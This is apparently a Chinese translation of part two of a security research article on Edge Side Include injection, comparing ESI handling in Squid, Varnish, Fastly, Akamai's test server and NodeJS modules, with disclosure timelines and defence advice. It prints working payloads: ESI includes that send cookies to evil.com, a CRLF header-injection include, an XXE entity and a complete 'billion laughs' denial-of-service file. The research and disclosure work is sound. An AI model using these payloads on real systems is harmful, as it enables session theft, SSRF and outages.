浅析Edge Side Include注入(下)
Hulk WEB安全 9244浏览 · 2019-05-29 23:49

文章来源:https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection

让我们接着上部分,继续研究ESI注入。

应用场景

正如我在前面提到的那样,ESI的实际使用取决于应用提供商。不同的应用会使用不同的功能,甚至某些相同的功能的实现方式也存在差异。为了帮助大家识别攻击启用ESI功能的应用,我们对一些产品进行测试后制作了以下表格:

表中列名含义:

Includes:ESI引擎是否支持<esi:includes>操作。

Vars:ESI引擎是否支持<esi:vars>操作。

Cookie:ESI引擎是否可以访问Cookie。

Upstream Headers Required:上层服务器是否需要提供有效的Header。当标头为上游服务器时,才会执行ESI语句。

Host Whitelist:ESI Includes中引用的主机名是否属于白名单服务器列表。如果开启了白名单策略,攻击者利用ESI Include只能攻击白名单内的主机。

下面我将具体介绍ESI的应用场景以及不同应用间的差异。

Squid3

Squid(一款高性能代理缓存服务器)没有公开其ESI文档,因此我们必须深入源代码分析ESI的使用情况。测试ESI Payload时,我们在最新的Squid上发现了与ESI语句解析有关的两个拒绝服务漏洞。这两个Bug都是NULL指针解除引用造成的,可导致Squid服务器崩溃。两个漏洞分别被分配为:CVE-2018-1000024CVE-2018-1000027 。下面是两个Bug的漏洞咨询,其中详细给出了受影响的Squid版本:

披露时间线:

  • 2017年12月13日上报
  • 2017年12月14日确认Bug
  • 2018年1月18日修复完毕
  • 2018年1月21日公布漏洞咨询

这里有用于盗取Cookie的有效载荷:

<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>.

某些启用ESI的应用允许攻击者提取出指定名称的Cookie值;但Squid不支持,你必须一次性提取出所有Cookie。

Varnish Cache

Varnish Cache在ESI的安全方面做得非常好。从Varnish Cache的ESI说明文档中可以看出它只能执行来自上游服务器且符合VCL(Varnish Configuration Language)规范的ESI语句。因此攻击者不能通过SSRF来攻击任意主机。任何SSRF攻击都会被重定向回上游服务器,这解决了一般SSRF攻击造成的大部分问题。截止至本文发布,Varnish Cache仍然不支持ESI vars。ESI vars和cookie的文档解释仍处于撰写阶段。

Varnish处理ESI时有个非常有趣的特性,只有HTTP响应Body部分的第一个非零字符为<,才会发生解析。该检查可以避免ESI引擎处理类似XML内容的响应。如果没有这个检查机制,那引擎为了解析ESI标签将不得不处理每个请求,甚至包括类似图片这样的二进制数据。如果需要在JSON或CSS中使用ESI include,开发者也可以关闭该性能机制。但建议论坛和指南网站关闭该机制,以保证JSON blobs可以正常工作。当开启ESI_DISABLE_XML_CHECK时,所有ESI标签都会受到检查。攻击者可以将ESI标签嵌入到其他良性事件中,例如JSON API或图像响应,然后代理服务器解析这些二进制中的ESI标签。下面演示了如何利用嵌入ESI有效载荷的"图像"进行攻击:

当关闭ESI_DISABLE_XML_CHECK时,用户可以利用文件上传功能(例如主页图像功能),上传嵌入ESI标签的文件。这也会导致ESI注入。

在测试Varnish Cahe的ESI应用时,我们还发现ESI include不会转义src属性中的回车符和换行符(CRLF注入)。攻击者可以在ESI include中注入一些标头,导致形式各异的HTTP Response Splitting(HRS)漏洞。例如,攻击者通过下面这个ESI payload,注入额外两个HTTP标头(X-Forwarded=ForJunkHeader)来造成SSRF:

<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>

发送携带payload请求,得到以下响应:

GET / HTTP/1.1
User-Agent: curl/7.57.0
Accept: */*
Host: anything.com
X-Forwarded-For: 127.0.0.1
JunkHeader: JunkValue
X-Forwarded-For: 209.44.103.130
X-Varnish: 120

披露时间线:

  • 2018年1月25日上报
  • 2018年1月26日确认存在漏洞
  • 2018年2月13日修复

Fastly

Fastly服务器后端与Varnish高度相似,所以上面一节的内容也适用于Fastly。但有些不同,Fastly ESI无需制定代理服务器的标头就可以解析ESI include,此外Fastly似乎不受CRLF注入影响。

Akamai ESI Test Server(ETS)

Akamai在规范ESI准则方面扮演着非常重要的角色(即是作者又是编辑者)。从Akamai大量使用ESI功能以及长且详细的ESI说明文档也可以窥知一二。我们想要测试Akamai ESI的实际使用情况,2017年我们联系了Akamai安全团队向它们提到我们正在研究ESI注入。由于Akamai需付费使用,我们询问是否可以获取生产环境下的测试服务器(production-grade test image),以便我们进行各种ESI相关的测试,但被礼貌回绝了。我们没有真实环境下的ESI实例用来研究,所以我们联系销售团队想要获取预售试用产品,但销售团队没有回复我们。

最终我们决定对其公开的Docker image进行测试。这个Docker image包含一个带有一个可自定义模块mod_esi.so的Apache Web服务器。该模块大小20mb,为ELF 32位可编译版的ESI应用。Akamai公开的说明文档非常详细地描述了ESI的使用情况,所以我们不用逆向分析这个模块包。这是一个测试image,因此我们发现的东西不能代表真实生存环境下的Akamai实例也存在。总结一下,我们发现了Akamai server 默认不开启ESI,并且有众多保护措施,例如防御SSRF(白名单策略等)和几个可选的WAF。

话虽如此,但我们发现Akamai ETS(ESI Test Server) 仍易受上述几种攻击(SSRF,绕过HTTPonly以及绕过XSSFilter)。

例如,通过ESI includes盗取Cookie值,可以使用HTTP_COOKIE引用特定cookie名称:

<esi:include src="http://evil.com/$(HTTP_COOKIE{'JSESSIONID'})"/>

Akamai ETS包含大量有趣的功能,例如ESI debug模块。该模块可通过<esi:debug/>开启,开启后HTTP响应会出现大量调试信息,例如原始文件和环境变量。

用户还可以指定dca="xslt",添加基于ESI include的可扩展样式表语言转换(Extensible Stylesheet Language Transformations,XSLT)。下面这个include语句可以使代理服务器请求XML或XSLT文件。然后XSLT文件可用于过滤XML文件。最后通过XML文件造成XML外部实体(XXE)攻击。这个bug有点鸡肋,只能用于XXE->SSRF,因为是经ESI include执行,而它本来就可以导致SSRF。Akamai ETS底层库(Xalan)不支持解析外部DTD,攻击者也不能提取查看本地文件。

<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />

XSLT文件:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>

但我们可以使用XML实体,这意味着可以尝试十几年前的亿万嘲笑攻击。它的攻击原理是通过递归引用实体,导致内存耗尽服务挂起。我在本地计算测试Akamai ETS Docker image时,32G内存在几秒后完全耗尽服务停止。我使用的是下面这个XSLT文件:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

NodeJS' ESI

许多NodeJS模块在开发时就考虑到ESI,都支持ESI标签。它们主要用于中间件,伪代理功能或内联在源代码中。NodeJS' ESI的ESI应用库也非常广泛,支持include,变量和cookie等。

通过下面这条ESI include命令,使用HTTP_COOKIE变量可以提取出所有cookie:

<esi:include src="http://evil.com/$(HTTP_COOKIE)"/>

NodeJS' nodesi

NodeJS的这个模块允许ESI include,但不允许使用ESI变量。我们在测试NodeJS' nodesi ESI应用安全时,发现开发者添加了白名单机制。此外,他们在ESI模块说明文档中还专门添加了安全方面的章节

如何检测 ESI

一些代理服务器为了方便处理ESI,通常会要求请求中设置Surrogate-ControlHTTP 标头。该标头会提醒上游服务器:"ESI标签可能存在响应中,请做好解析准备"。如果你发现了HTTP响应中有类似Surrogate-Control: content="ESI/1.0”的标头,那你的目标极有可能是启用了ESI的应用。

然而,大部分代理和均衡负载服务器会移除该标头。某些代理服务器甚至没有该标头。因此通过标头判断目标是否使用ESI应用不是很可靠,由于ESI应用的众多特性,不能一次性就测试出目标是否存在ESI注入。攻击者需要测试各种有效载荷观察响应,以识别存在ESI注入的端点。例如,构造ESI include语句可以造成SSRF攻击,访问攻击者的服务器,但目标应用可能有白名单策略。

防御性措施

产生ESI注入的根本原因是开发者忽视了清理用户输入。代理服务器盲目解析用户输入时,有可能会造成ESI注入。无论你正在使用的是什么框架或语言,建议你参考防御XSS的方法来保护你的ESI应用。原始ESI规范中没有考虑到安全问题,因此清理用户输入的重担就落到开发人员身上了。

前面已经提到过了,主机和域名的白名单策略也可以缓解ESI注入的影响。另外一点,供应商应当明确指出启用ESI的风险,并通知用户可能存在未知的ESI注入。

小结

本系列文章阐述了一种新型攻击向量——ESI注入,该攻击的根源是各种代理服务器中ESI功能的滥用。我们展示了易受攻击环境和三个有效载荷:窃取Cookie,SSRF和绕过XSS Filter。接下来我们介绍了一些使用ESI的应用,使安全社区对ESI世界的糟糕有初步了解。

我们希望这项研究可以为研究其他缓存代理的人带来一些灵感,为赏金猎人们开拓一个新的攻击维度。

0 条评论
某人
表情
可输入 255